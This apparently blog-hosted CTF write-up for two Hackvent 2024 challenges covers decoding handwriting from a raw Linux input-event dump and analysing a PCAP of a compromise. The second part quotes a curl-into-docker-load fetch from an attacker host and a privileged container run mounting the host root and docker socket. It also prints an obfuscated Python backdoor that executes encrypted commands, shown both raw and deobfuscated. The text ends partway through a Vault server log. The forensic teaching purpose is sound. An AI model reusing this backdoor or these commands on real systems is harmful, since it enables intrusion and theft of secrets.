The hard challenges on days 8-10 and 14-17 presented some of my favorites in Hackvent this year. Highlights include a very nice challenge with a PCAP showing a compromise and C2 activity, where I’ll extract a Python script and find the flag in exfiltrated data, a ransomware recovery where I have to brute force a pin and exploit an XSS to get the key, some mind-melting crypto, and a really fun hardware verilog simulation.

HV24.08

Challenge

HackVent ball08 HV24.08 Santa's Handwriting
Categories: forensicFORENSIC
funFUN
Level: hard
Author: kuyaya

Santa has bought a new drawing pad and has tried it out on his Linux machine immediately. However, Grinch has monitored the raw data stream of what he has written. Santa found out about this and recovered the data which Grinch has stolen, but it seems to be modified to prevent a direct reconstruction. Can you help out Santa?


Hint: Grinch traced Santa’s Handwriting by reading straight from /dev/input/event16.


Analyze the dump and get the flag.

The download has a single file, which is a 728K data file:

oxdf@hacky$ file publish.raw 
publish.raw: data
oxdf@hacky$ du -sh publish.raw
728K    publish.raw

Triage Data

Input Event Background

Santa’s drawing pad is using Linux input events to communicate with the OS. The Linux Kernel documentation talks about the different kinds of Events and Codes that come across the Input Events API. input-event-codes.h (defined here) has all the integer representation for these values. The structure of an input_event is defined here in input.h as basically

struct input_event {
    struct timeval time; // Timestamp
    __u16 type;          // Event type (e.g., key press, movement)
    __u16 code;          // Event code (specific to the type)
    __s32 value;         // Event value (e.g., pressed/released, x/y delta)
};

Parse Events

I’ll write a quick Python script to create a list of events that I can look at:

import struct
import sys


event_format = 'llHHI'  # timeval (2 longs), type (H), code (H), value (I)
event_size = struct.calcsize(event_format)

class Event:
    def __init__(self, data):
        seconds, microseconds, self.event_type, self.code, self.value = struct.unpack(event_format, data)
        self.timestamp = seconds + microseconds / 1e6

events = []
with open(sys.argv[1], 'rb') as f:
     while True:
        data = f.read(event_size)
        if not data:
            break
        events.append(Event(data))

If I run python -i, I can explore the resulting data. For example, I can get a count of the event types:

oxdf@hacky$ python -i parse.py publish.raw 
>>> from collections import Counter
>>> Counter(e.event_type for e in events)
Counter({3: 17052, 0: 9989, 4: 1346, 6: 1266, 2: 1263, 1: 36})

The vast majority are type 3, which is EV_ABS:

EV_ABS events describe absolute changes in a property. For example, a touchpad may emit coordinates for a touch location.

There are three distinct codes for the EV_ABS events:

>>> Counter(hex(e.code) for e in events if e.event_type == 3)
Counter({'0x1': 8058, '0x0': 7954, '0x18': 1040})

0 is ABS_X and 1 is ABS_Y. These show positions of a touch on the screen. 0x18 (24) is ABS_PRESSURE, which shows how hard the push is.

The other useful event type is 1, which is EV_KEY. There are two codes associated with this type:

>>> Counter(hex(e.code) for e in events if e.event_type == 1)
Counter({'0x14a': 34, '0x140': 2})

0x14a is BTN_TOUCH, which describes the stylus touching the surface, and 0x140 is BTN_STYLUS, which describes the button on the stylus being pressed.

I don’t use the other event types, which are 0 = EV_SYN, 4 = EV_MSC, 6 = EV_LED, and 2 = EV_REL.

The other thing to note is that the timestamps are not in order:

>>> [e.timestamp for e in events][:10]
[2908719162.950242, 1733523782.615329, 1733523794.865102, 1031523114.684167, 410607213.538858, 1733523798.101065, 1733523800.912009, 1733523796.293078, 1733523782.56018, 3617976678.408116]

Some of them seem way out there.

Capture Image

X/Y Events

I’ll plot the X/Y events with a loop over the events, for each collecting X or Y position, and updating with the most recent value for each. My initial code looks like:

import struct
import sys
import matplotlib.pyplot as plt


event_format = 'llHHI'  # timeval (2 longs), type (H), code (H), value (I)
event_size = struct.calcsize(event_format)

class Event:
    def __init__(self, data):
        seconds, microseconds, self.event_type, self.code, self.value = struct.unpack(event_format, data)
        self.timestamp = seconds + microseconds / 1e6

events = []
with open(sys.argv[1], 'rb') as f:
     while True:
        data = f.read(event_size)
        if not data:
            break
        events.append(Event(data))

xs = []
ys = []
current_x = 0
current_y = 0
for event in events:
    if event.event_type == 3:
        if event.code == 0:
            current_x = event.value
        elif event.code == 1:
            current_y = event.value
        xs.append(current_x)
        ys.append(current_y)

plt.figure(figsize=(8, 6))
plt.plot(xs, ys, marker='o', linestyle='-', markersize=2)
plt.title("Santa's Drawing Pad")
plt.axis('off')
plt.show()

I’m not sorting by timestamp, and it’s a mess:

image-20241208211345736

I’ll update the loop to sort on timestamp:

for event in sorted(events, key=lambda e: e.timestamp):

Now the result is somewhat better:

image-20241208211446510

Looking closely, it starts with something kind of like an “H”, and then maybe an “A”… or an upside-down “V”! I’ll update the coordinate saving with negative for the y values:

        xs.append(current_x)
        ys.append(-current_y)

Now it looks better:

image-20241208211629399

I could probably get the flag from here, but I can do better.

Stylus Up/Down Events

I’ll update my loop over the events to look at if the stylus is touching, and only record the position when it is:

xs = []
ys = []
current_x = 0
current_y = 0
touching = False
for event in sorted(events, key=lambda e: e.timestamp):
    if event.event_type == 3:
        if event.code == 0:
            current_x = event.value
        elif event.code == 1:
            current_y = event.value
        if touching:
            xs.append(current_x)
            ys.append(-current_y)
    elif event.event_type == 1 and event.code == 330:
        touching = event.value == 1

The result is pretty good (definitely good enough to get the flag):

image-20241208211916533

There’s still connections between the points where the stylus goes up and down. I’ll fix that by adding None, None to the list when the stylus is up:

        if touching:
            xs.append(current_x)
            ys.append(-current_y)
        else:
            xs.append(None)
            ys.append(None)

The result is perfect:

image-20241208212034612

Flag: HV24{dra4w1ng}

HV24.09

Challenge

HackVent ball09 HV24.09 Naughty and Nice
Categories: funFUN
cryptoCRYPTO
forensicFORENSIC
reverse_engineeringREVERSE_ENGINEERING
Level: hard
Author: bread

Santa’s naughty and nice list seems to have been misused. He is worried that something has been stolen. Here is a pcap of when the attack took place, can you find out what was taken?

The download is a packet capture:

$ file santa.pcap 
santa.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

PCAP Overview

The PCAP isa 100% TCP data, some HTTP and some other:

image-20241209160342572

Stepping through the streams is useful to get a feel for what’s going on.

The first eight streams are an actor interacting with a naughty / nice list website. On stream id 8 (the 9th stream), there’s a POST request which looks to include a webshell in the evidence field:

image-20241209160547421

The next request shows it works:

image-20241209160619128

The actor then proceeds to run docker ps and then curl -sSL http://172.17.0.2:443/bread.tar | docker load.

There’s then a request to 172.17.0.2:443/bread.tar, where the Tar archive / Docker image is returned. In the next command, the image is started with docker run -d -v /:/mnt --privileged -v /var/run/docker.sock:/var/run/docker.sock --name bread -p 1337:1337 bread.

Then the actor runs docker inspect bread to get information about the running container, including that it’s listening on port 1337.

Immediately after that are 10 streams connecting to 1337. The first one just sends some data:

image-20241209160942435

The rest look like encrypted command and responses:

image-20241209161000458

From File –> Export Objects –> HTTP, I’ll save bread.tar:

image-20241209162520373

Extract Python Script

Identify Layer

I’ll use dive to look at the .tar as layers in a Docker container.

image-20241209162852268

On the left, it shows the different layers and their metadata, and on the right it shows the filesystem and highlights the changed files.

The second to last layer is where challenge.py is copied into the container. If I filter to only show modified files, it’s the only file:

image-20241209163008696

Get Script

I’ll extract the .tar into bread.tar_files:

oxdf@hacky$ mkdir bread.tar_files/
oxdf@hacky$ tar -xf bread.tar -C bread.tar_files/
oxdf@hacky$ ls bread.tar_files/
blobs  index.json  manifest.json  oci-layout  repositories

I’ll find the layer in blobs that matches the sha256 from dive and extract it:

oxdf@hacky$ tar -xf 46897eb45f8163aa7dd27af46772a10dff704929828aa326679c8eae9b9c3c4e
oxdf@hacky$ ls app/
challenge.py

I’ll copy that to my main directory for analysis.

challenge.py

Obfuscation

challenge.py is heavily obfuscated Python code:

_0x_j34f = getattr
_0x_k92l = __import__
_0x_m78x = lambda _: ''.join(map(lambda __: chr(__), _))
def _0x(_0x15d47, _0x98d42): return _0x_j34f(_0x_k92l(_0x_m78x(_0x15d47)), _0x_m78x(_0x98d42))
_0x1b7e = _0x([98, 97, 115, 101, 54, 52], [98, 54, 52, 101, 110, 99, 111, 100, 101])
_0x1234 = _0x_m78x([95, 95, 110, 97, 109, 101, 95, 95]) 
_0x9abc = lambda _: globals().get(_, None)
_0x7f8g9 = _0x_m78x([111, 112, 101, 110, 115, 115, 108, 32, 101, 110, 99, 32, 45, 100, 32, 45, 97, 101, 115, 45, 50, 53, 54, 45, 101, 99, 98, 32, 45, 98, 97, 115, 101, 54, 52, 32, 45, 107])
_0x46233 = _0x_m78x([114, 101, 97, 100])
_0x4501 = _0x_m78x([97, 99, 99, 101, 112, 116])
_0xa230f = _0x([115, 116, 114, 105, 110, 103], [97, 115, 99, 105, 105, 95, 117, 112, 112, 101, 114, 99, 97, 115, 101])
_0x5678 = _0x_m78x([95, 95, 109, 97, 105, 110, 95, 95]) 
_0x1b3d7 = _0x([115, 116, 114, 105, 110, 103], [97, 115, 99, 105, 105, 95, 108, 111, 119, 101, 114, 99, 97, 115, 101])
_0x1215b = _0x_m78x([95, 48, 120, 53, 51, 52, 107, 50, 103]) 
_0x5d9a2 = _0x([115, 116, 114, 105, 110, 103], [100, 105, 103, 105, 116, 115])
_0x3b23 = _0x_m78x([111, 112, 101, 110])
_0x1a2b3 = _0x_m78x([47, 116, 109, 112, 47, 46, 98, 114, 101, 97, 100])
_0x58d1 = _0x_m78x([115, 112, 108, 105, 116])
_0x12482 = _0x([115, 117, 98, 112, 114, 111, 99, 101, 115, 115], [99, 104, 101, 99, 107, 95, 111, 117, 116, 112, 117, 116])
_0x3a65 = _0x_m78x([112, 114, 105, 110, 116])
_0x4d5e6 = _0x_m78x([101, 99, 104, 111])
_0x7f83 = _0x([115, 111, 99, 107, 101, 116], [115, 111, 99, 107, 101, 116])
_0x3c4d5 = _0x_m78x([48, 46, 48, 46, 48, 46, 48])
_0x4a32 = _0x_m78x([115, 101, 110, 100])
_0x7c91 = _0x_m78x([119, 114, 105, 116, 101])
_0x1d78 = _0x_m78x([98, 105, 110, 100])
_0x4623 = _0x_m78x([95, 48, 120, 50, 51, 107, 106, 103, 52])
_0x6b01 = _0x_m78x([108, 105, 115, 116, 101, 110])
_0xj65b4 = {
    _0x_m78x([115, 104, 101, 108, 108]): len(list(filter(lambda _: _ != '', "a"))),
    _0x_m78x([116, 101, 120, 116]): len(list(filter(lambda _: _ != '', "a"))),
}
class Str(str):
    def _0x2323(self): return self.encode()
class _0x3434(bytes):    
    def __init__(self, _): self._ = _.decode()
    def __str__(self) -> str: return self._
def _0x2a3f(_0x3a1e): return str(_0x3434(_0x1b7e(_0x3a1e._0x2323())))
def _0x6432a(_,Σ): return (_&~Σ)|(~_&Σ)
def _0x1a1b(_0x3a1e, _0x2b2c):
    _0x4f5d = list(*())
    _0x6d8f = iter(range(len(_0x3a1e)))
    for _0x5d7e in _0x6d8f:
        (_0x5c5b, _0x6d6b) = (_0x3a1e[_0x5d7e], _0x3a1e[next(_0x6d8f, _0x5d7e)] if _0x5d7e + len(list(filter(lambda _: _ != '', "a"))) < len(_0x3a1e) else _0x3a1e[_0x5d7e])
        _0x4f5d.extend([chr(_0x6432a(ord(_0x5c5b), ord(_0x2b2c[_0x5d7e % len(list(filter(lambda _: _ != '', "ab")))])))]); 
        _0x4f5d.extend([chr(_0x6432a(ord(_0x6d6b), ord(_0x2b2c[(_0x5d7e + len(list(filter(lambda _: _ != '', "a")))) % len(list(filter(lambda _: _ != '', "ab")))])))]); 
    _0x2d8c = list(*())
    [_0x2d8c.extend([_0x4f5d[_0x5d7e + len(list(filter(lambda _: _ != '', "a")))], _0x4f5d[_0x5d7e]]) if _0x5d7e + len(list(filter(lambda x: x != '', "a"))) < len(_0x4f5d) else _0x2d8c.append(_0x4f5d[_0x5d7e]) for _0x5d7e in range(len(list(filter(lambda _: _ != '', ""))), len(_0x4f5d), len(list(filter(lambda _: _ != '', "ab"))))] 
    return ''.join(map(str, _0x2d8c))
def _0x9b67(data):
    _0x1f94 = ''.join(sum(map(lambda _: [_], [_0xa230f, _0x1b3d7, _0x5d9a2, '+/']), []))
    _0x8c13 = { _0x1f94[_0x8f0d]: (_0x8f0d // int(_0x1f94[-4]), _0x8f0d % int(_0x1f94[-4])) for _0x8f0d in range(len(_0x1f94)) }
    return ''.join(f"{_0x8c13[_0x7adf][int(_0x1f94[-12])]}{_0x8c13[_0x7adf][int(_0x1f94[-11])]}" for _0x7adf in data if _0x7adf != "=")
def _0x23kjg4(_0x246g5):
    _0x987yh54 = _0x246g5.recv(1024).strip().decode()
    try:  
        _, _0x45h4g, _0x23dd, __ = list(__builtins__.__dict__.values())[list(__builtins__.__dict__.values()).index(open)](_0x1a2b3).__getattribute__(_0x46233)().__getattribute__(_0x58d1)('|')
        #_, _0x45h4g, _0x23dd, __ = getattr(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "r"), list(dir(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "r")))[list(dir(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "r"))).index(_0x4623)])().__getattribute__(_0x58d1)('|')
        _0x25jybd = _0x12482(f"{_0x4d5e6} '{_0x987yh54}' | {_0x7f8g9} '{_0x45h4g}'", **_0xj65b4).encode()
        _0x48916b = _0x1a1b(_0x12482(_0x25jybd, **_0xj65b4), _0x23dd)
        _0xff23de = _0x2a3f(Str(_0x48916b))
        _0x712a6d = _0x9b67(_0xff23de)
        _0x_j34f(_0x246g5, list(dir(_0x246g5))[list(dir(_0x246g5)).index(_0x4a32)])(_0x712a6d.encode()+bytes([10]))
    except FileNotFoundError:
        getattr(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "w"), list(dir(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "w")))[list(dir(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "w"))).index(_0x7c91)])(f"{_0x987yh54}")
    except Exception as e:
        getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3a65)])(f"{e}")
    _0x246g5.close()
def _0x534k2g():
    _0x5b7c  = _0x7f83(len(list(filter(lambda x: x != '', "ab"))), len(list(filter(lambda x: x != '', "a"))))
    _0x_j34f(_0x5b7c, list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x1d78)])((_0x3c4d5, 1337))
    _0x_j34f(_0x5b7c, list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x6b01)])(len(list(filter(lambda x: x != '', "ab"))))
    while True:
        _0x8723bk2, _ = _0x_j34f(_0x5b7c, list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x4501)])()
        _0x9abc(_0x4623)(_0x8723bk2)
if _0x9abc(_0x1234) == _0x5678: _0x9abc(_0x1215b)()

The _0x_m78x function is used to turn a list of int to a string. The _0x function gets an attribute from a module, taking in two lists of int that are converted with _0x_m78x.

main / handle

After significant deobfuscation, the bottom of the script calls a function I’ve renamed to main:

def main():
    s  = f_socket_socket(2, 1) # AF_INET, SOCK_STREAM
    s.bind(("0.0.0.0", 1337))
    s.listen(2)
    while True:
        client_sock, _ = s.accept()
        handle(client_sock)
 if __name__ == "__main__" : main()

This starts a listening socket on localhost port 1337, and then accepts incoming connections and passes that socket to a function I’ve renamed handle. That function (after deobfuscation) looks like:

def handle(sock):
    data_in = sock.recv(1024).strip().decode()
    try:  
        _, key1, key2, __ = open("/tmp/.bread").read().split('|')
        decrypted_cmd = f_subprocess_check_output(f"echo '{data_in}' | openssl enc -d -aes-256-ecb -base64 -k '{key1}'", shell=1, text=1).encode()
        xored_swapped_data = xor_and_swap(f_subprocess_check_output(decrypted_cmd, shell=1, text=1), key2)
        base64_encoded_data = base64_encode(Str(xored_swapped_data))
        custom_octal_encoded = custom_octal_encode(base64_encoded_data)
        sock.send(custom_octal_encoded.encode()+bytes([10]))
    except FileNotFoundError:
        open("/tmp/.bread", "w").write(f"{data_in}")
    except Exception as e:
        print(f"{e}")

It tries to read keys from /tmp/.bread, and if it fails, it writes data to that file.

If it succeeds in getting the keys, then it uses subprocess.check_output to decrypt it using the first key. Then it passes the result into subprocess.check_output again to run that command, passing the results through a series of encryption / encoding functions, before sending the result out on the socket.

xor_and_swap

After deobfuscation, the function I’ve named xor_and_swap looks like:

def xor(_,Σ): return (_&~Σ)|(~_&Σ)
def xor_and_swap(data_in, xor_key):
    intermediate_list = []
    range_gen = iter(range(len(data_in)))
    for idx in range_gen:
        (c1, c2) = (data_in[idx], data_in[next(range_gen, idx)] if idx + 1 < len(data_in) else data_in[idx])
        intermediate_list.extend([chr(xor(ord(c1), ord(xor_key[idx % 2])))]); 
        intermediate_list.extend([chr(xor(ord(c2), ord(xor_key[(idx + 1) % 2])))]); 
    output_list = []
    [output_list.extend([intermediate_list[_0x5d7e + 1], intermediate_list[_0x5d7e]]) if _0x5d7e + 1 < len(intermediate_list) else output_list.append(intermediate_list[_0x5d7e]) for _0x5d7e in range(0, len(intermediate_list), 2)] 
    return ''.join(map(str, output_list))

It effectively takes a two character XOR key, and then loops over the data two bytes at a time, XORing with the key, and then swapping the order of the bytes.

custom_octal_encode

The other interesting function looks like:

def custom_octal_encode(data):
    base64_alpha = s_string_ascii_upper + s_string_ascii_lower + s_string_digits, '+/'
    octal_map = { base64_alpha[i]: (i // 8, i % int(8)) for i in range(len(base64_alpha)) }
    return ''.join(f"{octal_map[c][0]}{octal_map[c][1]}" for c in data if c != "=")

It makes a map that takes “A” –> (0, 0), “B” –> (0, 1), “C” –> (0, 2), etc, where both values run 0-7, giving 64 total values (which matches the number of values in the Base64 alphabet). This converts each charactrer to two digits 0-7.

Decode Comms

Get Keys

With an understanding of how the code works, the PCAP makes more sense. The first communication to the server is just sending data, with no response. That’s what gets written to /tmp/.bread when it fails to find keys there:

-+-|.bread was here.|........|-+-

The first key is “.bread was here.”. The second is non-ASCII, but in hex it’s “🍞🔑”.

Extract Streams

I’ll write a Python script that will extract the TCP streams to TCP 1337:

def extract_tcp_streams(pcap_file, port):
    streams = {}
    capture = pyshark.FileCapture(pcap_file, display_filter=f'tcp.port == {port}')
    
    for packet in capture:
        try:
            stream_id = packet.tcp.stream
            if hasattr(packet.tcp, 'payload'):
                raw_bytes = bytes.fromhex(packet.tcp.payload.replace(':', ''))
            else:
                raw_bytes = b''

            if stream_id not in streams:
                streams[stream_id] = {'to_server': b'', 'to_client': b''}
            
            if int(packet.tcp.dstport) == port:
                streams[stream_id]['to_server'] += raw_bytes
            else:
                streams[stream_id]['to_client'] += raw_bytes
        except AttributeError:
            continue
    
    capture.close()
    return streams

Decrypt

I’ll write functions to decrypt the command and response, building off the Python in the original file:

def decrypt_command(enc, password):
    res = check_output(f"echo '{enc.decode()}' | openssl enc -d -aes-256-ecb -base64 -k '{password}' 2>/dev/null", shell=1, text=1)
    return res

def xor_and_swap_every_other(data_in, key):
    intermediate_array = []
    range_gen = iter(range(len(data_in)))
    for idx in range_gen:
        (c2, c1) = (data_in[idx], data_in[next(range_gen, idx)] if idx + 1 < len(data_in) else data_in[idx])
        intermediate_array.extend([chr(ord(c2) ^ ord(key[(idx + 1) % 2]))]); 
        intermediate_array.extend([chr(ord(c1) ^ ord(key[idx % 2]))]); 
    result_array = []
    [result_array.extend([intermediate_array[_0x5d7e + 1], intermediate_array[_0x5d7e]]) if _0x5d7e + 1 < len(intermediate_array) else result_array.append(intermediate_array[_0x5d7e]) for _0x5d7e in range(0, len(intermediate_array), 2)] 
    return ''.join(map(str, result_array))

def decrypt_resp(enc, password):
    base64_alpha = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
    b64text = ''.join(base64_alpha[int(enc[i]) * 8 + int(enc[i+1])] for i in range(0, len(enc), 2))
    b64text += '=' * (-len(b64text) %4)
    emoji_enc = b64decode(b64text).decode()
    plain = xor_and_swap_every_other(emoji_enc, password)
    return plain

Now I can loop over the streams and output the session:

if __name__ == "__main__":
    import sys
    
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <pcap_file>")
        sys.exit(1)
    
    pcap_file = sys.argv[1]
    port = 1337
    
    streams = extract_tcp_streams(pcap_file, port)
    for stream_id, data in streams.items():
        if 'bread was here' in data['to_server'].decode():
            _, in_key, out_key, _ = data['to_server'].decode().split('|')
            print(f"Identified keys: '{in_key}' and '{out_key}'")
            continue
        print(f"$ {decrypt_command(data['to_server'], in_key)}")
        print(f"{decrypt_resp(data['to_client'].decode().strip(), out_key).strip()}")

Run It

Running it generates a log of the session of the attacker:

oxdf@hacky$ python parse_pcap.py santa.pcap
Identified keys: '.bread was here.' and '🍞🔑'
$ whoami
root
$ docker ps
CONTAINER ID   IMAGE                  COMMAND                  CREATED              STATUS                PORTS                                                                                                             NAMES
6d9fba5f0e9d   bread                  "python /app/challen…"   20 seconds ago       Up 19 seconds         0.0.0.0:1337->1337/tcp, :::1337->1337/tcp                                                                         bread
ae8f6e8d452b   naughty-nice-php       "docker-php-entrypoi…"   About a minute ago   Up About a minute     8080/tcp, 0.0.0.0:8080->80/tcp, :::8080->80/tcp                                                                   naughty-nice-php
bccb71a4d5dc   unbound                "python3 -m http.ser…"   About a minute ago   Up About a minute     0.0.0.0:443->443/tcp, :::443->443/tcp                                                                             unbound
95323b34357c   pihole/pihole:latest   "/s6-init"               7 days ago           Up 3 days (healthy)   0.0.0.0:53->53/tcp, :::53->53/tcp, 0.0.0.0:80->80/tcp, 0.0.0.0:53->53/udp, :::80->80/tcp, :::53->53/udp, 67/udp   pihole
$ docker images
REPOSITORY         TAG       IMAGE ID       CREATED          SIZE
unbound            latest    be680fd32199   3 minutes ago    178MB
bread              latest    a050d71a89db   10 minutes ago   90.7MB
<none>             <none>    c6df08727188   25 hours ago     418MB
naughty-nice-php   latest    8d07938ebfe4   25 hours ago     1GB
hashicorp/vault    latest    197c8072f1e8   6 days ago       466MB
pihole/pihole      latest    7e2c1211ec99   4 months ago     311MB
$ docker inspect vault
[
    {
        "CreatedAt": "2024-11-26T21:15:44+11:00",
        "Driver": "local",
        "Labels": null,
        "Mountpoint": "/var/lib/docker/volumes/vault/_data",
        "Name": "vault",
        "Options": null,
        "Scope": "local"
    }
]
$ ls -la /mnt/home
total 28
drwxr-xr-x  4 root root  4 Nov 26 11:32 .
drwxr-xr-x 23 root root 27 Nov 13 08:09 ..
drwxr-x--- 20 1000 1000 28 Nov 26 11:17 bread
drwxr-xr-x  3 1001 1001  8 Nov 26 11:45 santa
$ ls -la /mnt/home/santa
total 44
drwxr-xr-x 3 1001 1001     8 Nov 26 11:45 .
drwxr-xr-x 4 root root     4 Nov 26 11:32 ..
-rw-r--r-- 1 1001 1001   220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 1001 1001  3771 Mar 31  2024 .bashrc
-rw-r--r-- 1 1001 1001   807 Mar 31  2024 .profile
-rwxr-xr-x 1 1001 1001 19842 Nov 26 11:43 backup.zip
-rw-r--r-- 1 1001 1001   901 Nov 26 11:33 santas.secrets
drwxr-xr-x 6 1000 1000     6 Nov 26 11:54 vault
$ base64 /mnt/home/santa/backup.zip
UEsDBAoAAAAAAOkbdVkAAAAAAAAAAAAAAAAGABwAdmF1bHQvVVQJAAPWDj5nbp9FZ3V4CwABBOgD
AAAE6AMAAFBLAwQKAAAAAAAujHpZAAAAAAAAAAAAAAAADQAcAHZhdWx0L2NvbmZpZy9VVAkAA7hr
...[snip]...
CzcAAAAA
$ base64 /mnt/home/santa/santas.secrets
VW5zZWFsIEtleSAxOiBoUzFOcTk5VXpiZkdLTE5QT3VIcnlkWFQxdFIvcFFVY25GMzZNdVhSRUJH
WApVbnNlYWwgS2V5IDI6IHV4R3dyUU1GQTU4T2gzWVBadUJBbmdibHlFRE1ITDd4OTRuOWJKa0dn
...[snip]...
ICJ2YXVsdCBvcGVyYXRvciByZWtleSIgZm9yIG1vcmUgaW5mb3JtYXRpb24uCg==
$ thanks for playing. bread=)

Vault

Extract Zip

I’ll base64 decode the long output for backup.zip and unzip it:

oxdf@hacky$ unzip backup.zip
Archive:  backup.zip
   creating: vault/
   creating: vault/config/
  inflating: vault/config/local.json
   creating: vault/logs/
   creating: vault/file/
   creating: vault/file/logical/
   creating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/
   creating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_tokens/
   creating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_tokens/named_keys/
  inflating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_tokens/named_keys/_default
   creating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_provider/
   creating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_provider/provider/
  inflating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_provider/provider/_default
   creating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_provider/assignment/
  inflating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_provider/assignment/_allow_all
   creating: vault/file/logical/fd026e3f-2d52-dff3-b33c-ba1108d1f8ca/
  inflating: vault/file/logical/fd026e3f-2d52-dff3-b33c-ba1108d1f8ca/_santa
   creating: vault/file/sys/
   creating: vault/file/sys/token/
  inflating: vault/file/sys/token/_salt
   creating: vault/file/sys/token/id/
  inflating: vault/file/sys/token/id/_hfeacefa9c83782eb5073d41b8c504354b41c7328d81e8d763afaaef8abe74614
   creating: vault/file/sys/token/accessor/
  inflating: vault/file/sys/token/accessor/_ebdc52b63ea0c052f5216f895cc8b29aab08950a
   creating: vault/file/sys/counters/
   creating: vault/file/sys/counters/activity/
  inflating: vault/file/sys/counters/activity/_acme-regeneration
   creating: vault/file/sys/policy/
  inflating: vault/file/sys/policy/_control-group
  inflating: vault/file/sys/policy/_default
  inflating: vault/file/sys/policy/_response-wrapping
   creating: vault/file/core/
   creating: vault/file/core/hsm/
 extracting: vault/file/core/hsm/_barrier-unseal-keys
  inflating: vault/file/core/_seal-config
  inflating: vault/file/core/_shamir-kek
  inflating: vault/file/core/_index-header-hmac-key
  inflating: vault/file/core/_mounts
  inflating: vault/file/core/_local-auth
  inflating: vault/file/core/_audit
   creating: vault/file/core/cluster/
   creating: vault/file/core/cluster/local/
  inflating: vault/file/core/cluster/local/_info
  inflating: vault/file/core/cluster/_feature-flags
   creating: vault/file/core/versions/
  inflating: vault/file/core/versions/_1.18.2
  inflating: vault/file/core/_master
  inflating: vault/file/core/_auth
  inflating: vault/file/core/_keyring
  inflating: vault/file/core/_local-audit
   creating: vault/file/core/wrapping/
  inflating: vault/file/core/wrapping/_jwtkey
  inflating: vault/file/core/_local-mounts

Run Server

The resulting folder is a HashiCorp Vault. To get this running, I’ll update the local.json file to point to the local copy of vault/file:

oxdf@hacky$ cat vault/config/local.json 
{
    "storage": {
        "file": {
            "path": "./vault/file"
        }
    },
    "listener": [
        {
            "tcp": {
                "address": "0.0.0.0:8200",
                "tls_disable": true
            }
        }
    ],
    "api_addr": "https://127.0.0.1:8200",
    "log_level": "debug",
    "default_lease_ttl": "168h",
    "cluster_name": "santas-vault",
    "max_lease_ttl": "720h",
    "ui": true,
    "audit": {
        "file": {
            "file_path": "/vault/logs/audit.log",
            "log_raw": true
        }
    }
}

Now I start the server:

oxdf@hacky$ sudo vault server -config=./vault/config/local.json
==> Vault server configuration:

Administrative Namespace:
             Api Address: https://127.0.0.1:8200
                     Cgo: disabled
         Cluster Address: https://127.0.0.1:8201
   Environment Variables: COLORTERM, DBUS_SESSION_BUS_ADDRESS, DISPLAY, HOME, LANG, LANGUAGE, LOGNAME, LS_COLORS, MAIL, PATH, PS1, SHELL, SUDO_COMMAND, SUDO_GID, SUDO_UID, SUDO_USER, TERM, USER, XAUTHORITY, XDG_CURRENT_DESKTOP
              Go Version: go1.22.8
              Listener 1: tcp (addr: "0.0.0.0:8200", cluster address: "0.0.0.0:8201", disable_request_limiter: "false", max_request_duration: "1m30s", max_request_size: "33554432", tls: "disabled")
               Log Level: debug
                   Mlock: supported: true, enabled: true
           Recovery Mode: false
                 Storage: file
                 Version: Vault v1.18.2, built 2024-11-20T11:24:56Z
             Version Sha: e36bac59ddb8e10e8912c0ddb44416c850939855

==> Vault server started! Log data will stream in below:

2024-12-10T02:28:55.786Z [INFO]  proxy environment: http_proxy="" https_proxy="" no_proxy=""
2024-12-10T02:28:55.786Z [INFO]  incrementing seal generation: generation=1
2024-12-10T02:28:55.787Z [DEBUG] core: set config: sanitized config="{\"administrative_namespace_path\":\"\",\"api_addr\":\"https://127.0.0.1:8200\",\"cache_size\":0,\"cluster_addr\":\"\",\"cluster_cipher_suites\":\"\",\"cluster_name\":\"santas-vault\",\"default_lease_ttl\":604800,\"default_max_request_duration\":0,\"detect_deadlocks\":\"\",\"disable_cache\":false,\"disable_clustering\":false,\"disable_indexing\":false,\"disable_mlock\":false,\"disable_performance_standby\":false,\"disable_printable_check\":false,\"disable_sealwrap\":false,\"disable_sentinel_trace\":false,\"enable_response_header_hostname\":false,\"enable_response_header_raft_node_id\":false,\"enable_ui\":true,\"experiments\":null,\"imprecise_lease_role_tracking\":false,\"introspection_endpoint\":false,\"listeners\":[{\"config\":{\"address\":\"0.0.0.0:8200\",\"tls_disable\":true},\"type\":\"tcp\"}],\"log_format\":\"\",\"log_level\":\"debug\",\"log_requests_level\":\"\",\"max_lease_ttl\":2592000,\"pid_file\":\"\",\"plugin_directory\":\"\",\"plugin_file_permissions\":0,\"plugin_file_uid\":0,\"plugin_tmpdir\":\"\",\"raw_storage_endpoint\":false,\"seals\":[{\"disabled\":false,\"name\":\"shamir\",\"priority\":1,\"type\":\"shamir\"}],\"storage\":{\"cluster_addr\":\"\",\"disable_clustering\":false,\"redirect_addr\":\"https://127.0.0.1:8200\",\"type\":\"file\"}}"
2024-12-10T02:28:55.787Z [DEBUG] storage.cache: creating LRU cache: size=0
